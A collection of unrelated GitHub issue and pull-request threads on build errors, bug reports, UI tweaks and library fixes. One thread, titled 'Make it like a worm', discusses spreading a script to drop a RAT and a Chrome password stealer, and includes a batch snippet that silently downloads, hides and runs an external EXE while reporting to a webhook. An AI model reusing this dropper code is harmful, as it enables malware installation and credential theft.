Thanks for the hints. Build succeeded. Closing issue.

Thanks @linquize for the tip!
And a note, latest Gogs does not build with PAM be default. Maybe you were compiling the old version of Gogs.


Error message when labeling the songs used to train the SVM

Hello,
I executed the sequence:
hvc.extract()
hvc.select()
hvc.predict()
on the data set 'gy6or6.032612' with the parameters:
extract: -> spect_params: -> ref: evsonganaly
feature_group: -> svm
The extraction and selection steps went withour errors. However the prediction step gave on error:
The prediction step generated a warning message when processing the files (see below) and at the end generated an error message (see below).
It seems that a data field in the input data (data set gy6or6.032612) is left empty which raises an error. However, I didn't modify anything in the 'gy6or6.032612' data set.
Corresponding Terminal output:

hvc.predict('gy6or6_autolabel.example.predict.svm.config.yml')
parsed predict config
Changing to data directory: C:\Users\Roman admin\032612
Processing audio file 1 of 39.
C:\ProgramData\Anaconda3\envs\hvc\lib\site-packages\numpy\core\fromnumeric.py:29
09: RuntimeWarning: Mean of empty slice.
out=out, **kwargs)
C:\ProgramData\Anaconda3\envs\hvc\lib\site-packages\numpy\core_methods.py:80: R
untimeWarning: invalid value encountered in double_scalars
ret = ret.dtype.type(ret / rcount)
Processing audio file 2 of 39.
Processing audio file 3 of 39.
.............................................................
Processing audio file 38 of 39.
Processing audio file 39 of 39.
predicting labels for features in file: features_from_032612_created_171205_1419
14
Traceback (most recent call last):
File "", line 1, in
File "C:\ProgramData\Anaconda3\envs\hvc\lib\site-packages\hvc\labelpredict.py"
, line 92, in predict
features_scaled = scaler.transform(features)
File "C:\ProgramData\Anaconda3\envs\hvc\lib\site-packages\sklearn\preprocessin
g\data.py", line 681, in transform
estimator=self, dtype=FLOAT_DTYPES)
File "C:\ProgramData\Anaconda3\envs\hvc\lib\site-packages\sklearn\utils\valida
tion.py", line 453, in check_array
_assert_all_finite(array)
File "C:\ProgramData\Anaconda3\envs\hvc\lib\site-packages\sklearn\utils\valida
tion.py", line 44, in _assert_all_finite
" or a value too large for %r." % X.dtype)
ValueError: Input contains NaN, infinity or a value too large for dtype('float64').

Best regards,
Roman

Hey Roman,
Can you reply with the content of the config files you used, so I can be sure I'm using the same config when I try to reproduce the bug?
Thanks

Hi David,
in the attachment you can find the configuration files I used.
Thank you for your help.
Best regards,
Roman
De: "David Nicholson"<EMAIL_ADDRESS>À: "NickleDave/hybrid-vocal-classifier"<EMAIL_ADDRESS>Cc: "Roman Ursu"<EMAIL_ADDRESS>"Author"<EMAIL_ADDRESS>Envoyé: Lundi 11 Décembre 2017 15:32:54
Objet: Re: [NickleDave/hybrid-vocal-classifier] Error message when labeling the songs used to train the SVM (#48)
Hey Roman,
Can you reply with the content of the config files you used, so I can be sure I'm using the same config when I try to reproduce the bug?
Thanks
—
You are receiving this because you authored the thread.
Reply to this email directly, [ https://github.com/NickleDave/hybrid-vocal-classifier/issues/48#issuecomment-350740701 | view it on GitHub ] , or [ https://github.com/notifications/unsubscribe-auth/Af6LXWBjDVfyMV8dAFr_pWnel89Zmdjgks5s_T0VgaJpZM4Q2YT6 | mute the thread ] .

Thank you, will try to look at this today.

Hey Roman, I didn't get the attachments, but I was able to reproduce the error. I'm pretty sure it is to has to do with a segment that is not long enough to calculate the features for, which is not present in the training data set. I'm working on some error-handling code for this.

Hi David,
Thanks a lot for your help.
Here is a new attempt to send you the configuration files.
Best regards,
Roman
De: "David Nicholson"<EMAIL_ADDRESS>À: "NickleDave/hybrid-vocal-classifier"<EMAIL_ADDRESS>Cc: "Roman Ursu"<EMAIL_ADDRESS>"Author"<EMAIL_ADDRESS>Envoyé: Mercredi 13 Décembre 2017 17:37:32
Objet: Re: [NickleDave/hybrid-vocal-classifier] Error message when labeling the songs used to train the SVM (#48)
Hey Roman, I didn't get the attachments, but I was able to reproduce the error. I'm pretty sure it is to has to do with a segment that is not long enough to calculate the features for, which is not present in the training data set. I'm working on some error-handling code for this.
—
You are receiving this because you authored the thread.
Reply to this email directly, [ https://github.com/NickleDave/hybrid-vocal-classifier/issues/48#issuecomment-351447164 | view it on GitHub ] , or [ https://github.com/notifications/unsubscribe-auth/Af6LXdWNTu5bL3ElIq4mVG4Pse5B0hNDks5s__1MgaJpZM4Q2YT6 | mute the thread ] .
predict:
todo_list:
- #1
bird_ID: gy6or6
model_meta_file : C:\Users\Roman admin\032612_out\select_output_171204_183034\svm_C1_gamma0.003\svm_200samples_replicate7.meta
file_format: evtaf
data_dirs:
- C:\Users\Roman admin\032612
  output_dir: C:\Users\Roman admin\032612_out\
  predict_proba: False
  convert: notmat

select:
num_replicates: 10
num_train_samples:
    start : 50
    stop : 250
    step : 50
num_test_samples: 500

models:
   -
    model_name: svm
    feature_list_indices: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]
    hyperparameters:
        C : 1
        gamma : 0.003

todo_list:
   -
    feature_file: C:\Users\Roman admin\032612_out\extract_output_171204_182008\summary_feature_file_created_171204_182122
    output_dir: C:\Users\Roman admin\032612_out\

extract:
spect_params:
ref: evsonganaly
segment_params:
threshold: 1500 # arbitrary units of amplitude
min_syl_dur: 0.01 # ms
min_silent_dur: 0.006 # ms
todo_list:
bird_ID : gy6or6
file_format: evtaf
labelset: iabcdefghjk
feature_group:
  - svm
data_dirs:
  - C:\Users\Roman admin\032612\

output_dir: C:\Users\Roman admin\032612_out\

Fixed by cfb2b57

@URSUroman thank you again for catching this as well as #47, once I fix that bug as well I will push a new version up to Anaconda Cloud. Should be within the next couple of days.

You should be able to run now as long as you set 'predict_proba' to 'False'.
By the way, I'm not sure how much machine learning stuff you've done, but usually you want to evaluate the models on some other set than the training set to evaluate how well it well generalize.
If you measure the accuracy on 032612 with an SVM trained on the data from 032612, it will probably be higher than the accuracy you see when you run hvc.select, which uses a separate testing set not contaminated by the training data.
It's a good thing you did it anyways though, because you caught those bugs! Thanks!

Hi David,
thanks a lot for the new code! It seems to work for me now.
However when I do "conda install -c nickledave hybrid-vocal-classifier" I don't get the latest modifications, I get the files hvc/featureextract.py, hvc/features/extract.py, hvc/features/tachibana.py from the 6th of december. I had to add the new files manually from github to C:\ProgramData\Anaconda3\envs\hvc\Lib\site-packages\hvc.
Thanks again and best regards,
Roman

Glad it's working!
Yes, I will push a new version so that you can do the conda install -c after I fix #47


Fix passing a const array to parse

Fixes #257. The input array is not modified, so we can declare this as
char const* const*.

This change is

@sheerluck is this a better fix than #257?

yes, this is better :)


Login UI

A (probably not ideal) sketch of the user authentication service

This looks quite good, thanks Yulong!
I think we don't need the top button for logging out, it's fine to just have it as a normal button (like you already do).
Also I'm not sure if we should have yet another drawer for account management. I think it's fine to just put this in the "Project" drawer, either above or below the project metadata and import/export buttons. Maybe with a line separating the project and account sections.

Hi Calin, we decided to do it like this during the standup last week. There is a lot to go in there potentially.

Ok that's fine, I just think we're getting to the point where we have too many drawers.

@H-Yulong I have a small request: could you please swap the Account and Project buttons? It makes more sense if the ordering is Account > Project > Signature as that's the correct hierarchy.

I think we don't need the top button for logging out, it's fine to just have it as a normal button (like you already do).

And feel free to ignore this, I changed my mind.


fixed style of error strings in platform

Description
Fixed error strings in the platform modules to comply with ST1005 Go style requirement: start with lowercase
Type of Change

[ ] Bug Fix
[ ] New Feature
[ ] Breaking Change
[ ] Refactor
[ ] Documentation
[X] Other (please describe)

Checklist

[X] I have read the contributing guidelines
[X] Existing issues have been referenced (where applicable)
[X] I have verified this change is not present in other open pull requests
[X] Functionality is documented
[X] All code style checks pass
[ ] New code contribution is covered by automated tests
[X] All new and existing tests pass

Codecov Report

Merging #205 (a5827ea) into main (1949a60) will decrease coverage by 0.01%.
The diff coverage is 1.92%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the GitHub App Integration for your organization. Read more.
@@            Coverage Diff             @@
##             main     #205      +/-   ##
==========================================
- Coverage   29.45%   29.44%   -0.01%
==========================================
  Files          30       30
  Lines        3959     3960       +1
==========================================
  Hits         1166     1166
- Misses       2706     2707       +1
  Partials       87       87

Files Changed
Coverage Δ

platform/api/call.go
9.00% <0.00%> (ø)

platform/api/login.go
15.05% <0.00%> (ø)

platform/api/oauth.go
0.00% <0.00%> (ø)

platform/api/service_principal.go
0.00% <0.00%> (ø)

platform/api/user.go
0.00% <0.00%> (ø)

platform/melt/exporter.go
28.65% <0.00%> (ø)

platform/api/tenant.go
26.31% <25.00%> (ø)


Make it like a worm (if possible)

Yes, make it like a worm, so you can download further files into the affected PC such as RAT and like discussed in DMs before, a program that decrypt chrome cached password files on the local computer itself
the cost may be that it gets detected

Exactly. The script doesn't get detected itself, but the files downloaded will be detected as of now if we use external EXE's that show the passwords.
You can easily modify the batch file to download files, just enable recurring and set the update URL. Then when you want it to download and run something just add this to the batch file.
goto skipcustomdownload
	curl --silent --output /dev/null -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"```Downloading and starting a custom file from\n%customdownloadurl% to %vpath%\%customfilename%```\"}" %webhook%
	set "customdownloadurl=https://external.ext/file.exe"
        set "customfilename=c.exe"
	IF EXIST "%customfilename%" GOTO waitloop4
	curl --silent -L --fail "%customdownloadurl%" -o %customfilename%
	>NUL attrib "%vpath%\%customfilename%" +h
	:waitloop4
	IF EXIST "%customfilename%" GOTO waitloopend4
	timeout /t 5 /nobreak > NUL
	:waitloopend4
	2> NUL start %customfilename%
:skipcustomdownload


Add xinvert

Insert URLs to the project here: https://github.com/miniufo/xinvert

[x] The projects is active, documented, open source licensed, shows usage from external parties and is directly targeting environmental sustainability. Find more details in the Contribution Guide.

All issues labeled as Good First Issue of the project listed on OpenSustain.tech will be visible on ClimateTriage.com. This is a great way to welcome new community members to your project.
All projects listed will be posted on our Mastodon channel

@miniufo

Hi, glad xinvert is included here.  So what should I do?

@miniufo You can add some GoodFirstIssue labels to some of your easier issues to invite more developers to contribute to xinvert. These issues will then appear on ClimateTriage.com. In the future we are building further services on the top of the whole open source ecosystem in climate and sustainability like OpenClimate.fund: https://github.com/protontypes/open-sustainable-technology/issues/527


Failure to parse Match responses

ERROR solver::solver::single_order_solver: Matcha inner solver error: Matcha Response Error DeserializeError(Error("data did not match any variant of untagged enum RawResponse", line: 0, column: 0))

I imagine the JSON returned from the Match API doesn't quite match-a (haha - get it?) what is expected by the solver.

We probably need to add an unknown error subtype lie we do in Paraswap (https://github.com/gnosis/oba-services/blob/73cbfa407827a1b5a2c5e81481f219c77cc9062a/solver/src/solver/paraswap_solver/api.rs#L124-L125)

Actually #964 should close this.


Add vecLib benchmarks

@wernsaar This one builds on my machine, but be aware of the ugly hard coding of the library path to libgfortran. I'm not a Makefile expert so I don't know a better way to fix this right now.

@andreasnoack , please try the develop branch. I delete no_compact_unwind flag and detect the path of -lgfortran.

I've just tried it and it works fine. I had to add the path and the no_compact_unwind to make it compile, but initially. Is it
https://github.com/xianyi/OpenBLAS/blob/6743beb7480d8e31e11211cb4fce5954749ee70e/f_check#L41
that makes a difference?

Yes, the f_check should detect the path of -lgfortran and store it at FEXTRALIB. The line 41 fixed the bug.


UX/UI improvements for the Settings modal

To make the Settings modal more clear, I think you should reorganize some of the items and change some labels for more standardization/clarity.
Simple/Advanced toggle mode:
I just noticed the Toggle advanced mode link at the top which might solve my confusion re: my other issue I just replied to. This needs to have more "presence" so the text should be larger and should probably be put inside a button to indicate it can be pushed.
Because what you're really doing here is allowing the user to edit a JSON configuration, maybe the button should say View advanced configuration. When you view the advanced configuration the button should then be labeled something like: View simple mode or View settings. Something like that.
Better organization of settings:
The Experimental settings should be grouped together and moved down towards the keybindings area as I feel that those are associated with each other. The label should be changed to conform to how the other labels are written. A suggestion would be: Specifies if experimental features are enabled and directly under this in smaller font should be: Note: The features might be unstable.
The Specifies a list of enabled plugins (requires enableExperimental to be true) label should be changed to: Specifies a list of enabled plugins and directly underneath this label in smaller font: Note: Requires experimental features to be enabled and you must restart Altair for these changes to take effect.  Thats not mentioned in the simple form of the Settings modal. People will imply this is what you mean but its better to reference the actual setting's label. Anyone who wishes to play with the advanced configuration will know what they're looking at in the json config when they see "enableExperimental": true.
The language setting should be moved to the top, just below the "Toggle Advanced mode" button/link. For people who do not natively speak English, this is probably the most important setting for them to easily recognize that they can change the language so they can continue using the application.
Associated issues: #1308 #1278

Hey @aarona, would you mind opening a PR that solves this issue?


Fix glb model for tron gothic scn

Right now, there is this weird moving thing in tron gothic scene. We need to remove it.
Here's the download url for glb:
https://github.com/webaverse/tron-gothic-city/raw/main/tron-gothic-city.glb
https://user-images.githubusercontent.com/35926530/169546534-fe2c8be5-b7ec-440d-a2f9-0fbc75bcb3b5.mp4

FIxed


add  deserialization for OpenAIConfig and AzureConfig

This should close #107. Arguably, the deserialization uses Default when a field is not given during deserialization and thus is too permissive. As far as I know,  Azure APIs needs all fields in AzureConfig to be valid ones, but the defaults are not.

This is released in v0.14.2


Couldn't build with Java 1.6

Perhaps this was a part of exercise to figure out, but I ran into the following issue with Java 1.6:
$ gradle build
:compileJava UP-TO-DATE
:processResources UP-TO-DATE
:classes UP-TO-DATE
:jar UP-TO-DATE
:assemble UP-TO-DATE
:compileTestJava

FAILURE: Build failed with an exception.

* What went wrong:
Could not resolve all dependencies for configuration ':testCompile'.
> Could not resolve junit:junit:4.10.
  Required by:
      :etl:unspecified
   > Failure initializing default system SSL context
> Could not resolve org.easytesting:fest-assert-core:2.0M10.
  Required by:
      :etl:unspecified
   > Failure initializing default system SSL context
> Could not resolve com.google.guava:guava:16+.
  Required by:
      :etl:unspecified
   > Failed to list versions for com.google.guava:guava.
      > Unable to load Maven meta-data from https://repo1.maven.org/maven2/com/google/guava/guava/maven-metadata.xml.
         > Failure initializing default system SSL context

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output.
```

After downloading JDK 8 from Oracle, the issue went away. Maybe it's possible to set up a Java version check?

It seems to be related to this: https://issues.gradle.org/browse/GRADLE-3029

Yes, this could be related. Just for the sake of documenting it, here's my system:
System Version: OS X 10.10.2 (14C1514)
Kernel Version: Darwin 14.1.0

Looks like this issue is unrelated to xjava itself, although it may be relevant to recommend JDK 1.7+ for the exercises.

Thanks! I'll close the issue and open a new one reminding us to add requirements.


Atom.Object.defineProperty.get is deprecated.

atom.workspaceView is no longer available.
In most cases you will not need the view. See the Workspace docs for
alternatives: https://atom.io/docs/api/latest/Workspace.
If you do need the view, please use atom.views.getView(atom.workspace),
which returns an HTMLElement.
Atom.Object.defineProperty.get (/Applications/Atom.app/Contents/Resources/app/src/atom.js:54:11)
updateStatusbar (/Users/rmachado/.atom/packages/jshint/index.js:92:6)

https://github.com/sindresorhus/atom-jshint/issues/71#issuecomment-77728141


error renaming a variable in a group

Reported in https://github.com/Unidata/netcdf4-python/issues/999.  Here's a simple C program that triggers the HDF Error.  The rename only fails if the file is closed and then re-opened.
#include <netcdf.h>
#include <stdio.h>
#include <stdlib.h>
#define FILE_NAME "rename_test.nc"
#define DIM1_NAME "lon"
#define GRP1_NAME "grp"
#define VAR1_NAME "lon"
#define VAR2_NAME "longitude"
#define ERR(e) {printf("Error: %s\n", nc_strerror(e)); exit(2);}
int
main()
{
    int ncid, dimid, varid, ierr, grpid;
    /* Create a file with a variable in a group. */
    if ((ierr=nc_create(FILE_NAME, NC_NETCDF4, &ncid))) ERR(ierr);
    if ((ierr=nc_def_dim(ncid, DIM1_NAME, 1, &dimid))) ERR(ierr);
    if ((ierr=nc_def_grp(ncid, GRP1_NAME, &grpid))) ERR(ierr);
    if ((ierr=nc_def_var(grpid, VAR1_NAME, NC_FLOAT, 1, &dimid, &varid))) ERR(ierr);
    if ((ierr=nc_close(ncid))) ERR(ierr);
    /* Open the file and rename the variable. */
    if ((ierr=nc_open(FILE_NAME, NC_WRITE, &ncid))) ERR(ierr);
    if ((ierr=nc_inq_grp_ncid(ncid, GRP1_NAME, &grpid))) ERR(ierr);
    if ((ierr=nc_inq_varid(grpid, VAR1_NAME, &varid))) ERR(ierr);
    if ((ierr=nc_rename_var(grpid, varid, VAR2_NAME))) ERR(ierr);
    if ((ierr=nc_close(ncid))) ERR(ierr);
}

Well if you would just name the variable correctly in the first place, there would be no need for a rename! ;-)
However, I would have thought this simple example would have worked. Sigh.
It might be time for a total re-write of the renaming code, as outlined at the end of the long discussion on #597.

We observed the same issue in Netcdf version 4.8.1. Is there a targeted release to fix this issue?
Thanks,
Nalini

I know it doesn't look like a particularly common issue... But would be nice to know if a fix is potentially planned for 4.8.2 or if it is on a back-burner for now.

It is definitely back-burner, because this requires a lot of work to fix.
But if you try renaming in different orders, some will work, and some won't.

Makes sense, thanks for the update!

Hi, just wanted to check if there are any new updates, or if this is still on a back-burner for now.


Simplify the configuration of a 3rd person camera with smooth following

Hello 👋
I thought the use of a 3rd person camera with a smooth following of the user was deliberately made more difficult for some technical reasons but seeing TheBlackParrot's post I though it could be a good idea to ask anyway.
I've seen in the code and on TheBlackParrot's streams that Attached cameras could allow such results but it looks like it's loosing support overtime and I found no documentation on how to use it. I've made a few experiments with the json file but never got anything usable.
I managed to have a similar result using a first person camera and merging some parameters of a 3rd person camera in it but a lot of those parameters aren't accessible on the game menu and I can't see where the camera is ingame.
Maybe it could be interesting to either add the option to show the 1st person camera ingame and display more parameters if the attached camera is going to disappear or add an example of an Attached camera json file in the documentation 🙂

If some settings are not accessible ingame it is for the reason that the vast majority of users don't need them. I don't want to have every single setting accessible ingame because already, many people are overwhelmed by the amount of options, thus advanced use cases like attached cameras will always stay something that you need to setup by editing the config.
Specifically for attached cameras you need to know how to use RUE and lookup game object names. That's not something that I want to support

Ok, I managed to have the Attached camera works, I didn't knew about all the gameObject things.
And yeah this made me experience the issues raised in #80 which made me go back to my dirty solution.
This goes a bit out of the scope of this issue but I thought it could be cool to have a min / max rotation value, so the camera can show what we look at (without being super zoomed out) but don't rotate to much when we look at / speak to the viewers for instance.
Looking at the code it doesn't seems insane to implement to me but maybe I'm wrong. If you don't have much time for it I can try to do it and make a PR if it works but can't promise anything because I've never done any mod nor C#, and I don't even know how to compile the project 🥲

With every option that I decide to add, I am making sure that its something at least a hand full of people do actually need. I dont want feature creep to be part of my projects even more than it already is - Yes being able to limit the range of values is not hard to add but its at least one, or even two values extra in the config per axis, and that just adds a lot of "trash" to the config most dont need

I think I'll implement it in a way where theres a seperate locking section for fp / attached cameras, the values can either be integers in which case it will lock it to that value, or a string min:max

Since this is now essentially a duplicate of #80 ill lock it


GPU data inconsistent

Do you think either PH or Task manager is wrong? 😕

It depends if you're using the Process Hacker kernel driver.
Task Manager can query GPU usage for all processes (including protected processes) but Process Hacker can only query all processes (including protected processes) when the Process Hacker kernel driver has been loaded.
You can also try enabling the "ProcessHacker.ExtendedTools.EnableGpuPerformanceCounters" setting from 0 to 1 which uses performance counters for GPU usage which should be identical to Task Manager?

It depends if you're using the Process Hacker kernel driver.

Oh yeah, no driver because Avast 😕

Task Manager can query GPU usage for all processes (including protected processes) but Process Hacker can only query all processes (including protected processes) when the Process Hacker kernel driver has been loaded.

Are non-elevated processes protected? 😕

You can also try enabling the "ProcessHacker.ExtendedTools.EnableGpuPerformanceCounters" setting from 0 to 1 which uses performance counters for GPU usage which should be identical to Task Manager?

The screenshot from https://github.com/processhacker/processhacker/issues/591 is with the flag enabled.
Does PH need to restart, or do they apply automatically?

Oh, also the more info windows from GPU; they don't inherit AlwaysOnTop

The EnableGpuPerformanceCounters flag wasn't working properly on Win10 2004 and was fixed in the latest nighties 👍

I was in 1803 and now I am in 1909 😃


pkg/service is a bad place for endpoint controller

Filing to remember to move this around later

I prefer the pattern we use in OpenShift pkg/noun/
pkg/<noun>/api/types.go - type model for that noun
pkg/<noun>/controller/controller.go - controller for that noun
pkg/<noun>/client/client.go - client methods for that noun
pkg/<noun>/registry/etcd/etcd.go - storage for that noun

I realize that is a bigger refactor but I think it has its perks.


Errors while making commits.

I am getting these errors while making commits as shown ->

Is anyone  facing same issue ?

This is https://github.com/rust-lang/rust-clippy/pull/12486. You need to update or downgrade your nightly compiler.

I used both the latest version rustc 1.79.0-nightly (c9f8f3438 2024-03-27)
and  an older version  rustc 1.77.0-nightly (7ffc697ce 2024-01-24) version -> but still it is not solved.

The lint was merged on Feb 29. If you are really using a 01-24 nightly then you are not getting this error.

I used rustc 1.77.0-nightly (7ffc697ce 2024-01-24) version as shown ->

but error persists.
and The given pr was merged a week ago not Feb29 so this error should not come for the latest version rustc 1.79.0-nightly (c9f8f3438 2024-03-27)

but no improvement.

@15IITian if you are facing issues, disable the hook for now

The given pr was merged a week ago not Feb29 so this error should not come for the latest version rustc 1.79.0-nightly (c9f8f3438 2024-03-27)

note that we only synchronize the rust-lang/rust-clippy repository with the clippy submodule in the rust-lang/rust repo every two weeks (and all components are built from the rust repo), so the fix is not on latest nightly yet.
However, there is an open PR for a sync, so once that's merged, the next day's nightly will have it. That will likely be the 6th april

Thanks for the explanation @y21, I was wondering why it wasn't in nightly yet.

This should be fixed in today's nightly. Can anyone confirm this? I tried to replicate the code in the screenshot in the original post and it indeed doesn't warn anymore: https://play.rust-lang.org/?version=nightly&mode=debug&edition=2021&gist=ba474a94b6f43bc9fb9206aa69ef41de

Nice :) we'll see if it's confirmed when the next automatic nightly update PR comes around.

Well , I just checked it out and it now  works fine .

Though we have this error which is due to deprecation of legacy methods that's not any issue ->

Oh, nice, yeah, we should fix that one. (PRs are welcome, or else I'll probably do it Monday or Tuesday.)

According to the clippy msrvs.rs file (which seems like a pretty useful file as a reference doc, though it's not always totally accurate) the new u16::MAX etc constants have been around since 1.43. And if we use them we don't need to do use core::u16 etc.

Yeah I removed them once we bumbed MSRV at some stage but these ones must have crept back in.


why compute_rewards use reward[last_non_masked_index] += score

In compute_rewards function
score is the reward from RM model, why just use this as reward, in below code, reward = score + kl of last_non_masked_index，I can't understand it
kl = logprob - ref_logprob
non_score_reward = -self.kl_ctl.value * kl
non_score_rewards.append(non_score_reward)
reward = non_score_reward.clone()
last_non_masked_index = mask.nonzero()[-1]
reward[last_non_masked_index] += score
rewards.append(reward)

The KL divergence is used as a penalty per token whereas the score is only given to the sequence as a whole thus it is received at the last generated token. The PPO loop will discount it in addition so also previous tokens benefit from it.


Local support for sending IR

there is a cloud API for sending learned key for IR remote:
Docs
Is there an equivalent for local mode?

https://github.com/jasonacox/tinytuya/blob/master/examples/Contrib/IRRemoteControlDevice-example.py

Hi @rluvaton, were you able to get it working with the example?

Hey, I don't see in that example the key id 😬

Hmm, it does appear to be kinda buried at the bottom in favor of parsing it into its head+key components.  A more succinct example would be:
ir = Contrib.IRRemoteControlDevice( 'abcdefghijklmnop123456', '172.28.321.475', '1234567890123abc', persist=True )

# learn a new remote
print("Press button on your remote control")
button = ir.receive_button(timeout=15)
if (button == None):
    print("Timeout, button code is not received")
    sys.exit(1)

print("Received button:", button)

for i in range(10):
    print("Simulating button press...")
    ir.send_button(button)
    sleep(1)

Hi @rluvaton, did the above example help any?

It's not the same, I already have learned key


3.0 dev grid filter logic

Resolves #458

Looking good, @katherineyli! Here are a few items related to functionality and potential improvements:

Can you enable filters in non-map charts by adding a default root group? Also, we'll need to make sure that the number of active filters shown in the badge remains consistent.
Can you make the "Logic" cells selectables between AND and OR?
Let's make AND the default logic for the root group and any newly created group.
This one is trickier but should be feasible: I'm thinking of bringing back the idea of collapsing/expanding logic groups, although I'm not sure if it will look good in the UI. I know @connor-makowski wanted to remove this functionality. For visual purposes, can you add some arrow icon buttons inside an unnamed actions column between the "Logic" and "Statistic" columns?  If it looks good, we can discuss the convenience of having this functionality.
There might be a bug in the filter logic as the node icons are not displayed on the map. This is how it looks on my end:

Looks like another merge stomped on a few files. Should be an easy conflict resolution. Then feel free to merge in. Nice job @katherineyli


AOT plugin doesn't seem to generate reflective metadata to access autowired fields

Assume the following arrangement:
class SomeAutoConfiguration {

  @Bean SomeComponent someComponent() {
    return new SomeComponent();
  }
}

class SomeComponent {
  @Autowired SomeDependency field;
}

Assuming the very top class is a Spring Boot auto-configuration class, declaring a hint for that class will result in the instance produced for SomeComponent not having the autowired field initialized. We found that while working on Spring Data REST'S compatibility with Spring Native and we deduced the following: the return types of the methods are included in the GraalVM native configuration with default access setup, i.e. invocation of the types constructor. That leads to Spring Framework not seeing the fields to be autowired and thus returning the instance without wiring the fields, which might then lead to NullPointerExceptions on the code using the fields.
Manually declaring a hint for that class including field access makes the arrangement work. Should the AOT plugin scan the return types for @Bean methods and enable field access out of the box if they use field injection?
Here's the complete description from a Slack conversation earlier that day. The concrete problematic case (an implementation class contained in Spring Boot) has been fixed in the meantime.

Spring Data REST exposes a RepositoryRestConfigurer SPI interface, which Spring Boot provides an implementation for (SpringBootRepositoryRestConfigurer) and declares it as @Bean in RepositoryRestMvcAutoConfiguration. That SBRRC uses autowired field injection (:grimacing:) to get access to other components and – because Spring framework guarantees them to be set – accesses those without a null check.
When we now prepare the hints for Spring Data REST to work properly, we of course added the auto-configuration class to the list of hints and that resulted in the instance of SBRRC be handed to the Spring Data REST configuration but without the autowired fields populated.
The reason for that is that apparently, return types of methods are automatically added to the list of types needed at runtime but only for constructor invocation use. I.e. Spring Framework sees the default constructor but not the fields to be autowired and thus hands an incompletely configured instance to downstream code. We could fix this by explicitly including the SBRRC instance into our hints declaring fields to be available for reflection, too.
There are two things I think could / should be improved:

The implementation class in Boot could rather use constructor injection to avoid the misconfiguration of the instance at runtime. A side effect of this would be less reflection information needed for GraalVM.
As an additional safety net to avoid these situations, does it make sense to let the type inspection generally enable field access if it finds @Autowired annotations on fields in factory method return types? I see that generally enabling this for all bean types probably lets the image size explode and might be superfluous for classes not using field injection. I also guess that – assuming APT being used to generate the metadata – it's not that easy to drill down into the structure of a type detected as factory bean method return type, as AFAIK, you only see one type at a time, right?

The reason I think the second point makes sense, too, even if the first solves the problem here, is that I fear that it's quite likely for end user applications to contain such arrangements, too, and it's quite hard to get to the root cause if you see the instances run into NPEs.

This is basically the same as this: https://github.com/spring-projects-experimental/spring-native/issues/666
Right now, we aren't diving deep into every single class to see if Autowired has been used, its as simple as that. yes, a type hint will fix it. Or adding some kind of indication to the containing class that you are relying on that feature should make it work, so @Component perhaps (it is called SomeComponent after all ;) ). If there is enough portfolio code using this pattern (I don't personally like...) we can do it automatically.  It's similar to using @Bean on a method without indicating that the class may be a provider of beans.  None of it is particular hard to do, seems like enough folks are hitting it we need to tackle it.

While I agree with the general sentiment (kill field injection with fire), I think asking for a type to be returned from an @Bean method to be annotated with @Component is at odds with @Bean methods being (promoted as) the alternative to @Component. That said, I also agree with the combination of field injection and @Bean methods being a bit of a weird combination.
I am not particular passionate about a particular solution. I mostly care about the manifestation of the problem and ordinary users hardly being able to get to the root cause of this. I.e. to come to the conclusion that you recommend and we were able to figure out ourselves, you have to be familiar with so many details from how the Spring container works and populates the instance up to the default limitations of GraalVM, how the native image building works, the Graal way of tweaking the defaults and our programming model of controlling those means via annotations. All of that tied to the fact that the build is not really failing, but working in some but incomplete way (Spring creating the instance but not (being able to) properly populating it).
Does it make sense to explicitly document that field injection is not supported for @Bean method return types? Maybe even a broad brush of claiming it's not supported at all?

I think, – to our all generous distaste – it is. On @Component and stereotype classes. The only gap right now is on classes returned from @Bean methods, which really is an odd combination, admittedly.

I've done an experiment. I wrote the code to scan for these 'things'. (Autowired or Bean used in a non annotated class). As an example I used the webflux-netty sample. It found four:
[INFO] Scanning for lite uses of Autowired/Bean took 797ms and returned 4 results
[INFO] Discovered unmarked class using @Autowired/@Bean: org/springframework/boot/autoconfigure/orm/jpa/DataSourceInitializedPublisher
[INFO] Discovered unmarked class using @Autowired/@Bean: org/springframework/boot/autoconfigure/batch/JobLauncherApplicationRunner
[INFO] Discovered unmarked class using @Autowired/@Bean: org/springframework/boot/autoconfigure/data/rest/SpringBootRepositoryRestConfigurer
[INFO] Discovered unmarked class using @Autowired/@Bean: org/springframework/web/reactive/config/WebFluxConfigurationSupport

3 of them are not required in this sample. The 4th is picked up anyway due to a subclass of the Support class being marked @Configuration.

All of those ones are currently dealt with automatically I think. (so the first 3 are dismissed and the 4th is included).
To support the particular issue raised here, I've done as per proposal: "does it make sense to let the type inspection generally enable field access if it finds @Autowired annotations on fields in factory method return types?"

Awesome, thanks, Andy!


style is not indented properly if applying style on the body

this template:
block header
  style.
    body {
      margin: 0;
    }

will generate like (2 extra spaces before style):
block header
    style.
    body {
      margin: 0;
    }

a workaround I've found is to add some selector before body in the template, like:
block header
  style.
    #some-unused-selector, body {
      margin: 0;
    }

@jeremytowne
Thank you for your report.

@jeremytowne
Sorry for my late reply.
I released a new version(v2.0.0).
Please try it.
In your case, you need to set ast true (see below).
  plugins: [
    new HtmlWebpackPlugin({
      template: 'template.pug',
      filename: 'index.pug'
    }),
    new HtmlWebpackPugPlugin({
      ast: true
    })
  ]

However, it may not work well because pug-source-gen is not maintained.


Windows 10 detects trojan Win32/Zpevdo.B in expCreateThreadExit.exe

Describe the bug
Windows 10 detects trojan Win32/Zpevdo.B in expCreateThreadExit.exe after unzipping ghidra 10
To Reproduce
Steps to reproduce the behavior:

Unzip ghidra 10 in windows
Wait for or run antivirus
Be alarmed when you are notified that a threat has been detected.

Expected behavior
Windows Antivirus should not trigger.
Screenshots

Attachments
If applicable, please attach any files that caused problems or log files generated by the software.
Environment (please complete the following information):

OS: Windows 10
Java Version: [e.g. 11.0]
Ghidra Version: 10
Ghidra Origin: https://ghidra-sre.org/

While this is clearly a false alarm, why are the JUnit test executables being included in the distribution?

While this is clearly a false alarm, why are the JUnit test executables being included in the distribution?

I had to restore about 15 files that my av "quarantined" because heuristics. This explains why there were so many.

We will change things so they don't get built with gradle buildGhidra, which will also prevent them from being released in the next version of Ghidra.


packages.yml: add tmt with copr repo

This change is needed to run tmt tests via libvirt.

/packit test

Great!
Does this mean the PRs tests' will run on top of copr-built package?

